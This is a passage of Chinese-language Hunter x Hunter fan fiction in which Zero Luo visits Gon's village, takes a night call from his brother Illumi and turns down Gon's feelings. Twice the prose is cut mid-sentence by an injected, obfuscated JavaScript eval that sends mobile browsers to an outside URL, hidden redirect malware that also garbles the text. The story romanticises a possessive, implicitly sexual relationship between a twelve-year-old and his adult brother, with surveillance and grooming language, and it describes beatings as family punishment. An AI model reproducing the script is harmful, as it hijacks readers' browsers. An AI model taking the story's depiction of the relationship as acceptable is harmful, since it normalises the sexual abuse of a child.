“怎么了？”奇犽转过身来，他拉了拉零洛的手，格蕾西环视一周，也伸手握住了零洛的手：“要不然，我们回去吧？” 都到附近了，怎么可能回去。 零洛摸了摸自己的心跳，加快了……她摇摇头，假装自己没事，不要打扰小杰的好心情。小杰正与一位年轻的女性说些什么，身侧还站着另一位老奶奶。 女性抬起头来，望着他们，风吹拂过发梢，天气晴朗，风和日丽。 “是，小杰的朋友吗？” 75.69 零洛和奇犽都不太习惯米特阿姨。 米特阿姨是小杰的阿姨？大概是这么个关系，应该说，好像是小杰妈妈的妹妹，但是抚养了小杰，不过一直就这么叫阿姨着延续了下来。 他们你看看我，我看看你，实在是不怎么知道和普通正常温柔女性相处，格蕾西觉得好笑，一摊手做了甩手掌柜。 小杰和米特阿姨介绍他们时，奇犽站军姿似的，零洛也硬邦邦，只有格蕾西笑着叫了声阿姨好，然后这两个人才跟醒了一样，拘谨叫了阿姨，又叫了一声奶奶。小杰嘿嘿一笑，视线落在零洛身上：“我们这里，也没有什么很好的东西，你们就……将就着住下吧？” 米特阿姨若有所思地看着两个女孩。 她突然回头询问小杰：“是哪个？” 小杰方寸大乱，赶紧把米特阿姨推进去：“哈哈哈，米特阿姨你在说什么啊，什么哪个！大家快进来吧，快进来！” 零洛进门时，把鞋子摆放整齐，听见米特阿姨让女孩子先去洗澡，男孩子排第二。她直起身子打算和格蕾西一起去，但是这一次，奇犽又把她拦下来了。 “你今晚把钉子拔了吧，在小杰这里就放松点？” “好呀。” “……还要和格蕾西一起吗？” 格蕾西伸手就把伊洛林拉过来搂住，似笑非笑看着奇犽：“不跟我一起，难不成你跟我一起？还是小杰？奇犽哥哥，你也管太多了哦。” 她故意的，奇犽哥哥叫得尤其拖拽长了声音，把奇犽气得不轻，耳根子都气红了。 不仅如此，格蕾西还要故意气他更多。 “洗澡之前就把钉子拔了吧。” “好啊。” 零洛笑着回应。他们两个手拉手去洗澡，留下奇犽抓耳挠腮，还有一个小杰在圆场，毕竟零洛和格蕾西关系很好很好，他们早就知道了不是吗？奇犽勾着小杰脖子夹在胳膊肘里，质问他怎么不着急呢，你倒是着急一点啊，小杰却十分清楚，零洛和格蕾西是朋友，绝对干净的朋友。 “他们之间更像是家人呢。” 小杰这么说，奇犽也明白，只是心里依旧觉得古怪，男孩子和女孩子哪怕是正儿八经的兄弟姐妹，也不能够这么亲近吧？他目前还不知道零洛应该是女生才对，这事也就席巴、桀诺，基裘与伊尔迷知道，孩子们都还不清楚。 零洛泡在热水里，他已经拔了钉子，前胸当然是一览无余的平坦，趴在浴池边缘，格蕾西伸了个懒腰，懒洋洋地将双臂也搭在边缘。 “山清水秀啊，这里。” “……嗯。”零洛长长呼出一口气来：“但是不知道为什么，我总是难以安心。” 为什么？格蕾西目光微动。她不会告诉零洛的。 从一个噩梦里，踏进另一个噩梦。这个噩梦稍微好一点的话，她也会犹豫，这么久以来，她一直在想，是不是零洛不恢复记忆会好一点呢？她不喜欢帮人做决定，也希望零洛能够清楚一切，只是，如果不是必须的话，好像失去记忆也是一件好事。格蕾西也长长叹息。 “大概是，陌生地方的不安啦。” “别担心……就当是，放假？这里没有揍敌客，也没有那些人……没有猎人，也没有协会。你在这里，我也在这里，我们是在一起的。” 两只手紧紧交握。 零洛想，自己从来没有这么的，变得……柔软过。 从浴室里出来，紧接着就是小杰他们洗澡了，因为这里的人没有更换泡澡水的习惯，都是大家在外面洗干净之后再进去泡，都是公用的状态，所以米特阿姨才会让零洛和格蕾西先泡。擦身而过时格蕾西不免又要逗一下奇犽，哎呀，那可是我泡澡的水，奇犽你该不会嫌弃吧？ 奇犽脑门上都要冒十字路口了，格蕾西才嘚嘚瑟瑟地离开。 真是不清楚她有没有意识到这算调戏。 零洛在厨房里帮忙打下手，他擅长这些，不过不知道是不是因为外表太具欺骗性，米特阿姨好像并没有发现他已经从小姑娘变成了小伙子，照常和他说话，夸他长得漂亮，问他几岁了，喜欢吃什么东西。 零洛一一回答，盛饭时他单独空出来一份，没有装红色的彩椒，而另一份给格蕾西的，则是任何青椒胡萝卜都没有，米特阿姨还以为是他不爱吃，让他不要挑食。 “是我哥哥不爱吃。”零洛乖乖回答：“他吃进去就会一直流口水，所以算是不能吃吧……类似于，有些人吃到了一些东西就会过敏一样？格蕾西的话，她不爱吃就是不爱吃，不好吃，所以不想吃。” “是奇犽吗？” “嗯。” “阿拉，但是，你们长得不太像呢……不太看得出来是兄妹。”米特阿姨无心直言，零洛也并没有表露出什么，只是顿了顿，表情平静：“……嗯，我不是亲生的。” “咦？” “吃饭吧。” 零洛抬头朝着她微笑，米特阿姨也并没有继续说下去，她只是将手放在零洛的肩膀上，温柔地撩开他鬓角的碎发：“如果有什么不高兴的事情，就好好地去想清楚，是否会让你的未来一直痛苦，如果不会的话，就去接受，如果会的话，就去解决，你是个好姑娘。” 米特阿姨很温柔，她没有具体询问，只是劝解了一句模棱两可的话。 零洛感受到她的好意，那些不安也散开了。 这里是个好地方，很好的地方，才能养育出小杰那样的人。 晚饭的时候他们都敞开肚皮吃得精光，知道自己碗里没红彩椒是零洛挑掉的，奇犽一点也不意外，零洛记得他喜欢和不喜欢的东西再正常不过，不过他却好像不太知道零洛喜欢不喜欢什么，只知道他对甜食不是很感兴趣，倒也不是不吃，只是大多数时间口味都很清淡。 “零洛，你觉得……这里怎么样？” 零洛把嘴里的饭吞进去，对着小杰点点头：“很好的地方，谢谢你，小杰，请我们来你家。” 小杰莫名地高兴，他用勺子搅拌碗里的饭，咧开嘴笑。 “嗯……那就好，那就好！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103622|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格蕾西托腮看着小杰，蓄意发出了些许疑惑的气音，小杰把头埋在碗里，坚持自己什么也没有听见。格蕾西逗够了小杰，吃完饭就想出去散步，零洛收拾了碗筷去水池边上清洗，小杰和奇犽则是正在讨论去哪里散步比较好。 他俩头顶一人一个大包，米特阿姨赏的。 “我说啊，你们就这么让零洛一个人洗碗吗？快点给我去帮忙！尤其是你哦，奇犽，你不是零洛的哥哥吗？” 奇犽捂着脑袋嘟囔：“在我家都有佣人做这些……” 大少爷不懂，但是大少爷听话，跑过去帮零洛擦盘子，小杰则负责擦桌子。格蕾西负责站在一旁喝果汁，因为零洛不让她动手，三个人把厨房收拾得干干净净，因为天色太晚，就在房子周围逛了一圈，集体回去睡觉。 房间足够大，床让给了零洛和格蕾西，小杰和奇犽打地铺。 米特阿姨收拾了被单回来时，小杰正将窗前挂了很久的风铃放进抽屉里，她颇为意外，这个风铃伴随着小杰长大，一直挂在那，是谁听着睡不着吗？ “零洛稍微有一点……嗯，容易醒，所以还是不要有声音了。” 小杰考虑得很充分。 米特阿姨摸了摸小杰的发顶，突然来了句：是她吗？ 黑夜里，小杰的脸染上一层热意，其实他也说不上是不是，只是目光会不自觉停留在零洛的身上，从一开始的猎人考试开始，看到他痛苦的时候，看到他苍白着脸色的时候，还有干脆利落的战斗姿态，矫健的身姿……零洛好像和他人不一样，总是格格不入地在人群之外，如果不是格蕾西在，或许他永远不会对自己笑。他不是很懂那些感觉，犹豫且踌躇着：“米特阿姨，怎么知道的……” “因为你问她喜不喜欢这里。” 你不担心奇犽和格蕾西喜不喜欢，因为他们是你的朋友，喜不喜欢也没关系，没必要一定要喜欢这里，可是如果零洛不喜欢这里呢，你是不是会很难过呢？ 米特阿姨又摸了摸小杰的面颊：“零洛是个好孩子，很乖，又很懂事，但是小杰，如果你也和金一样，向往着自由而不归的生活，就要自己想清楚。” “喜欢一个人是要有担当的，如果无法承担她的喜怒哀乐，又为什么要招惹她呢。” 小杰似懂非懂，但他还是点点头。 “我知道了，米特阿姨，那……晚安！” 转角处，零洛沉默着隐匿了身形。他不知道怎么回应，所以会选择回避，本来只是有点疑惑，现在就觉得应该拉开距离，他不可能回应小杰的任何心思，哪怕只有一点点。还好小杰也只是一点点苗头……掐断的话会好一点吗？他不知道自己和伊尔迷的事情吗？ 零洛回到格蕾西身边，盖好被子，闭上眼睛。 小杰偷偷进来时，他望了一眼零洛，他和格蕾西抱在一起，呼吸平和。 ……他醒着吗？ 心跳是，很普通的，大概是睡着了吧。 于是小杰也躺下，怀揣着复杂的心情入睡。 76.70 零洛坐在屋顶上吹着风。 这里的风很大，森林茂密，树木繁盛，一座座山连在一起，夜里寂静，显得幽深而美丽。他抚上心口，感受心脏跳动的频率，因为这夜色在逐渐加快。 他失去的记忆里，是否有这样的地方，所以他才会觉得自己像是被囚禁在这里的困兽，生出无限的退意与不可自拔的不安。他的脑海里像是有人在说，如果遇到困难了，为什么不打电话给哥哥呢？他这么爱你，绝对会为你解决任何事情的。 打电话给哥哥吧。 打电话，给哥哥吧。 零洛犹豫了许久，站起身望了一眼下方黑暗的房间，他跳出十多米外，来到了森林里，被黑夜包裹下，竟然觉得安心了一些。他犹豫着拿起手机，不太能下定决心。 真的要打电话过去吗？ 因为这种小事……前几天才刚刚发过脾气，现在就要打过去吗？ 睡不着，第一次在格蕾西身边，自己却睡不着，这个地方带给自己的不安太大了，他难以克制心跳的加快，哪怕因为米特阿姨和格蕾西而稍微平静了，却还是会在夜里翻涌。深夜的山像是一座深渊，深渊张开了嘴，他太弱小，太渺小……所以他、逃得出这座山吗？ 手机微微震动起来，来电显示，是伊尔迷。 哥哥为什么能知道呢？带着这种疑惑，零洛接起了电话，伊尔迷的声音带有平复心情的魔力，好像那些情绪都随之而远离了躯体。他坐在树梢上，望着夜色下的湖水，波光粼粼的湖面泛着月亮的光泽，是淡而虚无的莹白。 “晚上好。” “……大哥，为什么会……” 伊尔迷没有藏着掖着，直接说了出来：“因为装置了能监听你心跳的配件，糜稽也算是拥有不错的天赋——所以这么晚，你的心跳一直在加快，所以我想，你应该会需要和我聊聊。” “……我回家会受到惩罚吗？” “当然了。爸爸可是很难过呢，你，竟然在骗他。”伊尔迷像是坐了下来，声音很轻：“不过没关系，你想的只是偶尔回家，不长期在家里住，所以他没有告诉妈妈这件事。所以，你只需要回家接受惩罚，修改你的想法，爸爸就会原谅你。” 零洛沉默了许久，他艰难开口：“那，大哥你呢？” “嗯……真难办呢，我的话，只要伊洛林你承诺和我两情相悦就可以了哦。” 不，这才是最糟糕的。 “大哥，你到底是喜欢我什么呢？” 零洛不懂。他不是很明白为什么会有人爱上自己从小养大的孩子，又或者说，爱？真的吗。伊尔迷，你真的会爱上一个人吗？零洛才发现自己对伊尔迷的不确信，他的爱，更像是控制欲的集合体，拥有不确定性。哪怕长久，也让人害怕，究竟是不是真的爱情。 “那伊洛林喜欢大哥什么？”伊尔迷轻而易举地抛出这个问题，他很清楚零洛的变化，毕竟这么多年，他把零洛从头到脚的掌控了。零洛哑然，他纠正了伊尔迷：“我曾经喜欢过你。” “现在也爱我，说说理由？” “……好吧。”零洛懒得跟他辩解了：“因为那个时候我觉得，哥哥是世界上最爱我的人，他会给我一切我想要的，会永远在我身边，会一辈子地守着我，死也不会把我松开。我就是喜欢这样的大哥。” “现在的大哥不是这样吗？” “是因为我变了。” “啊，我还以为是因为格蕾西出现了呢。” 伊尔迷总是能够一下子击破重点，零洛无法反驳，只能沉默，而伊尔迷则表示无所谓。毕竟格蕾西现在对他而言不是一种妨碍，相反，他可以靠格蕾西挖掘更多东西，还有，只要格蕾西在，零洛就永远不能做出太大的反抗。 “我想恢复记忆。” “嗯……可以哦，不过这是你和亚路嘉的交易，哥哥无权干涉。” 所以也没办法帮助你。 “是和记忆有关吗？今晚你的心情。” 伊尔迷总是如此敏锐。 零洛稍微解释了一下，他胸口闷，总是呼吸不过来，他好像天然地害怕这样的山村，害怕这里的氛围，哪怕看起来亲切友好，哪怕山清水秀。伊尔迷的话很直白，他直接问上辈子是不是死村子里了。话糙理不糙，但是这话也太糙了。零洛虽然很想说你怎么觉得我上辈子就是死了呢，想一想伊尔迷自己清楚他不是普通小孩，又没这么说，只是解释自己的记忆里，最后的有关于格蕾西的记忆是他们吃蛋糕许愿，没有这种的山村。 “为什么格蕾西不告诉你？” “……大概那不是好记忆，又或者是其实她也只是知道一点，或者说，我大概没有准确地和她说过。”零洛从树上跳下来，他脱去那双凉鞋，将双腿浸泡在湖水里，坐在石头上，随着夜风晃晃悠悠地踢了踢水：“我记得很清楚，第一次遇见格蕾西的时候，我已经十二三岁了。” “哥哥很嫉妒哦，格蕾西能陪你这么长的时间。” 伊尔迷像是才想起来刚刚的问题，给了零洛准确的答复：“哥哥对你的感情，其实要说起来的话，还是占有欲更多一点吧，毕竟你是哥哥从小养大的孩子，怎么可能会希望你被别人抢走呢？但是，你和奇犽不一样，奇犽也是哥哥养大的嘛，可是哥哥对奇犽没有那种想法。” 零洛微微一僵，手机那一头，伊尔迷像在轻笑。 声音钻入耳朵里，引发一阵意动。 “想要吻你，看你变得越来越……” “等下！等一下！！”零洛立刻打断了他的发言，太糟糕了，这种事情根本不应该说出口，他绝对会对自己详细描述一下那些状态吧？零洛耳根子红得能滴血：“我要的是，爱，是正常的那种爱！就是……不是大哥你这样的！” “但是哥哥觉得自己可以胜任哦？难道不正是因为如此，伊洛林你才想要离开却又无法离开哥哥吗？” 因为他爱着零洛啊。 永远关注他，在意他，爱护他，眼里只有他。 零洛明明完全无法离开这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112119|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的自己，是害怕格蕾西会生气吧？真是的，哥哥可是已经很努力地做个正常人了呢。爱啊，这种事情，都是要练习才能够学会的哦。 “哥哥是这个世界上最爱你的男人，不是吗？” “哥哥可以做你的男人。” “你永远都是哥哥的，谁也无法抢走。” 那还……挺好的。零洛被说动了，他其实真的很难抵抗住这份感情的诱惑，哪怕格蕾西说这是不正常的，他不是很懂pua是什么，以前也没有这种机会懂吧，但是他无比地想要这种，黏稠的，仿佛凝固一般的爱。 家庭，还有爱情，都需要充足，满到溢出来或者炸开来，他才会满足的沉沦进去。 他缺少这样的感情，他想要这样的感情。 贪婪的，渴求着，像个……怪物。 不行，不能答应……格蕾西会不高兴的，她说的都是正确的，她从来都是对的，她是为自己好的，全部都是，所以自己要听话，不做那些让她会觉得无可救药的事情。零洛捂住口鼻，艰难地呼吸起来，他调整自己的心跳，心情，缓慢压制住了疯涨的渴望。 “大哥如果这么爱我，那么，获得格蕾西的同意吧。” “如果格蕾西答应了，我就答应大哥。” “……好吗？” 好难哦。伊尔迷无可奈何，不过也不是不行，格蕾西的点在于十分在意零洛，只需要好好利用这个点，让格蕾西意识到保护零洛非常需要揍敌客家就好了，或者说，利诱一下。毕竟格蕾西看到那一个亿的支票后，表现很不错嘛……五十个亿会不会更好呢？啊，训练华石斗郎应该也能够作为一个交易的点吧。 “好啊。” “那么，哥哥是不是可以先吃一点醋了？” 水很凉，湖水也凉，更凉的是零洛。 “你和那个云古，关系太好了，不是吗？” “那是老师，老师！” “我不管哦。”伊尔迷一本正经：“下次见面，哥哥会收取心理损失费，因为你和他走得太近，还让他看你一个人跳舞。” 零洛觉得自己应该生气的，但是不知为何笑了起来。 要命，他居然会觉得这样的伊尔迷很可爱。零洛的笑意似乎也传递了过去，伊尔迷耐心地听了一会儿，他突然开口说了情话：“哥哥好想你，你呢，想哥哥了吗？不要骗哥哥了，毕竟，哥哥的心里只有你，不是吗？” “……有一点点。” “才一点？” “……想给你打电话，想躲在你怀里，想……想只做你的弟弟，不用考虑那么多。”零洛抬头望向天空：“大哥，我迟早要恢复记忆的，那个时候，我可能不会是我，那样的话，你还会和现在一样爱我吗？” 他不会问格蕾西这个问题，因为格蕾西的答案是绝对的。 但他想问伊尔迷这个问题，因为他对伊尔迷，是患得患失的。 “当然。” 伊尔迷说道。 “你永远，属于我。” 77.71 夜风吹拂，晚风冷冷。 挂断电话后零洛没有急着回去，他很少有这样，长久思考的时候。 他总是下意识地逃避，不想思考，不想明白，只要什么都不懂，就好像是得到了更多保障一般，只要不想，就不会知道，也不会明白。 他想思考吗？其实也并不想。 就这么懒懒散散一辈子，别再殚精竭虑，别再疲惫，别被情绪左右自我，这不是挺好的吗？但是那样的缩头乌龟行为，也不能称之为好，或者，正确。他撑着地面望着月亮，明明这样的月朗风清，为什么还是对这个地方，喜欢不起来呢。 “啊，找到你了。” 零洛心下一惊，侧身看去，树梢上小杰正蹲在那，他朝着零洛露出笑容来，月色照亮他的脸，少年面庞稚嫩眼眸毫无阴霾，他在高处，零洛在低处，却没有任何居高临下的感觉，反而只是普通地对视着。他有一双明亮的眼睛，轻而易举看穿世界的眼睛，在这双眼睛面前，大概一切都无所遁形。 他就这样愣愣地看着小杰，直到他矫健地从树上一跃而下，才意识到自己跑出来是被发现了。 那大概就只有格蕾西还在睡觉了。 “……奇犽哥呢？” 小杰不好意思地用手指蹭了蹭自己的面颊：“奇犽说，我一定会找到你的，所以他就继续睡觉了。” 当然，原话是，这么好的独处机会，你真的要让我跟你一起去？你们这里能打得过他的根本不存在，他只是去散散心，让我去的话我就成电灯泡了吧？ 小杰不敢说，但小杰确实出来找了。 “抱歉，今天好像都没考虑到你的感受。”小杰反省了一下自己，虽然零洛多数时候都很安静，但是今天确实也太安静了，他的心跳变得不太一样，小杰闻着味道来到深林深处的时候，总觉得零洛好像会一不小心就消失在这里：“这里不是所有人都适应……所以如果不喜欢的话，我们可以……” “不是。” 零洛打断了小杰的话语，他兀自抬起脚，从地上撑起身子，本想说什么就直接走掉就好，可下一秒小杰就叫着危险扑了过来，零洛甚至只来得及看清楚脚边滑过了一条颜色鲜艳的蛇，整个人就栽进了水里。 不是，这是什么他出来散个心的惩罚吗？ 小杰把零洛捞起来，他看着狼狈湿透的、只能双手挂在自己脖子上的少年，忍不住笑了起来。零洛疑惑看着他，推开他自己走到一旁，按照他的耐药性来说，咬他一口，死的是蛇还差不多，根本没必要把他扑进水里。 “抱歉，抱歉，我只是想起了第一次见你的时候。” “那个时候的伊洛林，也很警惕，很……抗拒我。就像现在一样，对吗？” 零洛说不出话。 他只差一步就能上岸，浑身湿淋淋往下滴着水，被水浸透的衣服紧紧贴在身上，于是他也想起那个时候自己狼狈地护着身子，而酷拉皮卡给他一件外套的样子。他抗拒小杰吗？当然，那个时候他们还不知道彼此的底细，不清楚对方的性格，他不会相信一个陌生男孩。现在也抗拒吗？或许吧，听到了那样的对话又怎么会不做出点反应？ 因为他从未想过小杰会对他有什么想法，从前，不论怎么说，不论谁说，他都只觉得小杰还是孩子，不可能对自己有什么想法。 ……毕竟不可能自恋到这种份上。 “小杰，你才十二岁。” “伊洛林也才十二岁啊！” 小杰没什么好退缩的，他上前两步，这个时候他不愿意叫零洛，只想叫伊洛林：“我知道我们年纪很小，所以没有打算怎么样的啦，可以拜托你，继续和我做朋友吗？” 喜欢的人能做朋友吗？不，或许只是在意，不是喜欢。 这样好像就能接受了。 但是有些话还是要说清楚才对吧……零洛想了想，他走到岸上，脱下上衣将水拧干，再套回了身上，小杰没敢盯着看，慢慢吞吞上岸。 他们站在月光下，有萤火虫在身侧飞舞，而虫鸣声不断。 “……我，可以是你的朋友。除了朋友，没有第二种可能性。因为我目前有正在…发生，关系的……对象……” 这种话说出来怎么这么叫人脸红啊。 又不是对象也不是有什么关系，那就是发生关系的对象？ 小杰那头愣了一下，也不清楚是冷水浇的，还是这拒绝意义太绝对，导致的他们之间的气氛瞬间降到了冰点，而小杰张了张嘴，他突然明白了零洛话语里的含义，脑子一片空白，反应过来的时候自己就已经抓住了零洛的手腕。他听见自己的声音，有震惊，也有愤怒。 “不对……不可以这样，你才十二岁！为什么，到底是谁？他……他怎么能够对你下手！” 他在脑子里不断地过着认识的这些人。 最终他定格了一个看起来最不可能，但是又最让他疑惑的对象。 “……是，伊尔迷？” 零洛觉得真是糟糕透了，他怎么会知道，明明奇犽都不怎么知道详细的情况，所以应该不会说出去才对，格蕾西也不应该，他也没有在他们面前表露什么吧？零洛开始飞速的回忆起来，但是也实在是记不得了，只能硬邦邦地点点头。 “等下，你到底是为什么默认我被人下手啊？就不能我对人下手吗？” 不是，这个也不是重点。 “总之……总之就这样吧。” 趁着什么感情只有萌芽阶段，就不要继续了。 他连一个伊尔迷都没办法抵抗，再来一个岂不是死得更惨。小杰握着他的手腕，甚至没舍得用力，他不明白，明明伊尔迷让他哭，让他难过，为什么伊尔迷还能够和他在一起？他想说什么，搜肠刮肚却挤不出来什么好的词汇，只能徒劳地用那双眼里看着零洛。 为什么是你被人下手？因为你看起来就，很让人明白。 零洛挣扎了两下。 “放手吧，我不想伤害你。” “为什么那种过分的人可以，我却不行？我是，比他差劲吗……”小杰并不是很容易就喜欢上谁的一个人，要说真的，没有被零洛听见的话，可能他会一直自己思考到足够的年纪才会去尝试，他知道，自己这个岁数的喜欢并不可能成立，但是现 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“现在不喜欢，以后呢，以后的事情说不准的。”小杰说得很认真，他又告诉零洛，下次如果被强迫了，一定要学会反抗，不能被人用脸哄着答应，因为强迫就是强迫，强迫不可能变成喜欢和爱情，如果有人强迫你，那你就要反抗他！ 所有人都在说伊尔迷不是个好东西。 是的，就差念伊尔迷的猎人证号码了。这明摆着的事。 “喜欢吃的东西，就是要开开心心地吃。” “如果吃的时候会很难过，那么……就不要继续吃下去了，虽然找的替代品，不一定能够完美取代，但是总是会找到的。” “伊洛林，不尝尝别的吗？” 那双太过灼热的眼睛仿佛在问，夫人，您丈夫不回家，您就不想试试快递小哥或者水管工吗？师傅你是做什么工作的，修空调的吗？ 零洛有点控制不住自己的脑子，刹不住车了。 他终于勉强地点了一下头，心里想着快点回去。回去是回去了，但是一开门就遇上了门口罚站的奇犽，站着守株待兔的米特阿姨。 “我说他们没事的。”奇犽挠着头。 而米特阿姨叉着腰看着他们两个：“小杰，零洛，晚上的森林很危险，为什么要擅自出去呢？” “对不起，米特阿姨，我……” 米特阿姨拦下了小杰，要零洛自己说清楚，毕竟是他跑出去之后，小杰才会出去的。零洛很疑惑。 “不可以出去吗？” “当然了，你在家里这样的话，妈妈不会生气吗？” 零洛摇头：“妈妈不会管我这些。” “如果我做错了事情，米特阿姨要惩罚我的话，可以……” 他话还没说完就被奇犽捂住了嘴巴。 “等等，零洛，都说过了，犯错不一定要像家里那样的！” 米特阿姨盯着零洛的眼睛，认真询问他。 “如果做错了事，爸爸妈妈是怎么惩罚你的？” 零洛好像意识到不该说，但是他看着米特阿姨的眼睛，又实在是不知道要怎么撒谎才好，声音也低了下去。 “……把我，吊起来打。如果你想的话，我也接受。” 78.72 米特阿姨的惩罚是用小竹条抽了两下零洛的掌心。 不痛不痒，甚至没什么感觉。 零洛本能觉得疑惑，却瞥见米特阿姨悲伤的眼睛，于是也只好缄口不言。他被奇犽拉走再教育，小杰乖乖听训，而另一套新的干净衣服被米特阿姨送了过来。 她开门时，奇犽正戳着零洛的脑袋念叨他。 “都说啦，家里不正常的，你怎么还让米特阿姨抽你鞭子，那种事情就家里人会做！” “对不起嘛……我不知道怎么样才能算被惩罚。” 零洛虚心听教。 他抬头看见米特阿姨，心虚地低下头，而米特阿姨递出衣服，让奇犽先出去让他换衣服。零洛摇摇头说没关系，奇犽挠着头，还是没继续瞒着米特阿姨：“其实……零洛是男孩子。他是我弟弟，不是妹妹。” 今晚的打击一个接着一个，有什么是比自己从小养大的孩子成为基佬更加让人震撼的呢？ 米特阿姨有点晕，小杰换了一身衣服，悄悄探头。 零洛正背着他们换衣服，穿上去才发现，这一套应该是小杰的衣服，白色背心绿色短裤，湿透的头发散在身后，稍微有一点大，但是穿着倒是挺舒服的。想来米特阿姨是觉得无伤大雅，因为年纪小，混着穿也没关系，只是碰巧他现在是男性而已。 “抱歉，因为我也会以女性的身份生活，所以并没有特别纠正。” 米特阿姨只有一件事需要在意。 “不，问题是……格蕾西不是女孩子吗？” “她是女孩子。” “……那么你们一起洗澡一起睡觉？” “我们一直都这样。”零洛认真回答：“洗澡增进感情，睡觉增强亲密度，我们是最好的朋友，我们是家人。” 奇犽不想再听这种话了，丢了条毛巾在零洛头上擦，擦他半长不长的头发，把他擦成一只炸了毛的小猫，碎碎念着，你半夜跑出去干什么，有什么地方想去不能等明天吗，又不是使命在召唤，你要是感冒了还怎么玩啊！ 零洛总不能说自己是出去接伊尔迷电话了？怕自己在说话，吵醒了奇犽就不好。他只能用无辜的眼神看奇犽，再用无辜的眼神看米特阿姨，小杰过来打圆场，这一夜终究睡得不是很安稳。 格蕾西被零洛叫醒时，已经是早餐时间，她懒懒散散地坐在桌子上吃早餐，听见米特阿姨问她昨晚怎么醒不来。 做完为什么要醒来？ 格蕾西茫然了一瞬间，歪了歪头，视线落在零洛的脸上，发现他的脸上是0.5微表情的心虚，她缓缓眯眼，露出一抹甜甜的笑容来：“因为昨晚实在是太累了，米特阿姨叫我吗？是为了什么呀？难道是——零洛的事情？” 米特阿姨把零洛的老底抖了个干净。 大半夜不睡觉跑出去，和小杰一起，湿淋淋地回来。 如果放在昨天，听到这些事，格蕾西会觉得零洛和小杰有点什么，但是放在今天，看到零洛的心虚，格蕾西意识到事情并非这么简单。能让零洛对自己心虚的，只有一件事……她毫不客气放下碗筷，直言不讳。 “伊尔迷给你打电话了对吧？” 旁边的奇犽剧烈咳嗽。 他昨晚上可没想到这一层，没想到自己怕得要死的大哥，电话就追过来了，他几乎是下意识地质问零洛，是不是给大哥发定位了，或者说和大哥说他们在哪里了？小杰让奇犽不要这么凶零洛，他或许只是想家了呢？ 想家？什么鬼。奇犽和格蕾西如是想到。 零洛举手投降，他承认了：“是大哥在我的手机上安装了实时监控，检测到我的心跳过快，所以给我打了电话。” 正常人的心跳是60-100次一分钟。 揍敌客家人均50左右，而昨晚上零洛有时候的心跳突破了100，这算得上是危急状态了。 “真的假的？超过100了……”奇犽不可置信，他都觉得有时候零洛的心跳过缓，才导致有点呆傻，当然这句话是不能和他说的，不然零洛就要鼓包子脸了。小杰更震惊的是，怎么你们还搞低于正常人心跳那一挂啊：“打架的时候，一定要维持吗？” “你们家真BT。”格蕾西得出评价。 “要维持的，不过没什么特别的训练，自然而然就会了。”零洛咬了一口三明治，慢慢在嘴里咀嚼，他也没系统性地学过，只是自然而然就会了。 “好厉害啊——！” 小杰赞叹。 四个人说着话突然话语一收，站在那的米特阿姨被四双眼睛盯着，他们说了了不得的话，才发现还有个完全不知道什么心跳，正常人不正常人的米特阿姨，正微笑着看着他们。这个词很新鲜，比起另一个词的话，还差点。 “实时监控？” 众人又是一阵兵荒马乱，遮掩得这样那样，勉强蒙混过关。 早饭后分工合作时间，格蕾西帮忙叠被子，奇犽帮忙搬东西，小杰帮着收拾清洁卫生，零洛扛着斧头把后院的柴劈了。奶奶出门一看，每根柴粗细差不多，整整齐齐垒出一座山，甚至零洛尤嫌不够，出门砍了两棵枯树回来。这下米特阿姨今年冬天都不需要去砍柴了。 零洛不知为何进入了状态。 他找到了家里的地，开始翻地锄草，开始用草木灰灭虫，浇水施肥。他像一头骡子，拼命地拉了三亩地，米特阿姨看着自己的地，震惊这两个字她实在是腻味了。 下午做完了事情，吃过午饭就是去森林里玩。 小杰一个没注意，零洛就已经销声匿迹，他们找到他时，他抱着个篮子，里头装了一堆的野果。奇犽不明所以，还以为零洛玩上瘾了，只有格蕾西黑着脸走过去擦他手上的脏污。 “不要做了。” 她说。 “够了，已经够了，不要继续做了。” 零洛有一瞬间的恍惚，他看着篮子里的野果子，脑子逐渐清醒过来，沉默了一会儿，他笑起来：“吃果子吗？我洗干净给你吃， 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零洛笑起来：“一定是因为格蕾西你喜欢吃甜的，我喜欢喝咖啡，所以我想结合起来。”他说着，格蕾西也躺下来，在风里，他们两个人相视一笑。手指拉着手指，头发纠缠在一起，他闭上眼睛回忆起来：“你说，那你就开个书店，书咖一体，客人之类的都不重要，偏僻一点，空气好一点的。我说，那我要一个院子，院子里有秋千，我们可以坐在上面看星星……” “好远的梦啊。” 是啊，已经过去整整十二年了。 他们不是从前的模样已经十二年了，不再是普通人，甚至手上不止一条人命。 “嗯……以后我要做宝藏猎人吧？想要很多，奇奇怪怪的收集物，还要去抢劫库洛洛的密室游鱼！” 格蕾西馋密室游鱼可不是一天两天。 第一次见识过密室游鱼之后就难以忘怀，真想狠狠地拿到手！ “嗯——那我就跟你一起去！” 这句话说出来之后格蕾西微微沉默了几秒钟，她说，好啊，那你可得看好你大哥，不然啊，他肯定要来杀我的。零洛侧身抱住她，像是抱着自己最珍贵的东西一般，于是他们相拥。 “不会的，我会保护你。” “没有人能够伤害你，没有人能够背叛你，没有人能够杀掉你。你要做的一切我都要陪你去……就算是大哥，也不能够阻拦我和你。” 他绝对不会让任何人伤害到格蕾西。 西索……可以杀了，对吧？ 